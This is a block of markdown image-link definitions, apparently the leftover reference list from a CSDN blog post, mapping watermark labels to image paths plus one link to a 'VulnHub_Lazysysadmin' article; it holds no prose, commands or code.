[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 23]: /images/20230528/551796cdb6c942aca3ad1605e37aa5f5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 24]: /images/20230528/c22f2c5a6fec48ed9f8b3773465a12b1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 25]: /images/20230528/1c83590cbada4f8aae8b1ec10e6d5a6e.png
[20200404221242160.png]: /images/20230528/745ddfd662fa427691342cd869532c77.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 26]: /images/20230528/6e8beb0d78364fa79d6cc7449e7094d2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 27]: /images/20230528/02fa80ed5a0f440f9c7d41a22409c7b0.png
[VulnHub_Lazysysadmin]: https://blog.csdn.net/qq_43968080/article/details/105009290
[20200405144617961.png]: /images/20230528/27271f216cbc45ebbf1aae49166e5a2a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 28]: /images/20230528/32a336ba52814d29bac2c931d9c2c69e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 29]: /images/20230528/ba8fa7a2d53041eea26abc4237f06cf8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 30]: /images/20230528/b022bca3e4f44131995567a69a1038d0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 31]: /images/20230528/6fb99a41d36b4a66ab490475de6d6066.png
[2020040422160157.png]: /images/20230528/5ac56646175a41d4968de6b50eb31244.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 32]: /images/20230528/7f9888b9f95a4744861ff9b480a2a968.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 33]: /images/20230528/3539dc55d6064a7bb342bc3934d7c5ad.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 34]: /images/20230528/44661a8a1928467ba7823bde7675581c.png
[20200405000317373.png]: /images/20230528/5a143aac94b444e0ba025c5ae3d9f02e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 35]: /images/20230528/41f850800e5a41b095507fb865972498.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 36]: /images/20230528/1b1d79f45eaf42b896cf49e3f93f6cae.png
[20200405000457735.png]: /images/20230528/a4b099cdf1ce405c8317ab0496445296.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 37]: /images/20230528/fa6c9f47a5ea45c29897b84a0e5a27b2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 38]: /images/20230528/b9f9d888c474494e8cdf72bd78f44769.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 39]: /images/20230528/93787113f6754a3085928472e86fcd1a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 40]: /images/20230528/c5c27bb701ec418fadd817d33a49de7a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 41]: /images/20230528/f93a1cddf1c34188b5cd3665b10457aa.png
[20200405132501114.png]: /images/20230528/90fd846fb0664809803f42bccfe0e34c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 42]: /images/20230528/f8b1650b18a94970ab0cd0c9ad4408aa.png
[20200405225151638.png]: /images/20230528/626d725c55e84f9f83bcd6181ac01a23.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 43]: /images/20230528/21690a2faeb749ce96f552c792fcba7f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 44]: /images/20230528/78871b5e8dfe4ded8c5c38fea7097f2d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 45]: /images/20230528/180eb9955e6d4b5fbdc72a9c8f4f6dce.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 46]: /images/20230528/6b72c470121e4500bb07f944a733e302.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 47]: /images/20230528/8b99c7298e424ebc8b47995ae6e3550b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 48]: /images/20230528/14c8b274f1b848ad9fd42ec24dee45e5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 49]: /images/20230528/0c51de5fae6d498696342c2daa458bd5.png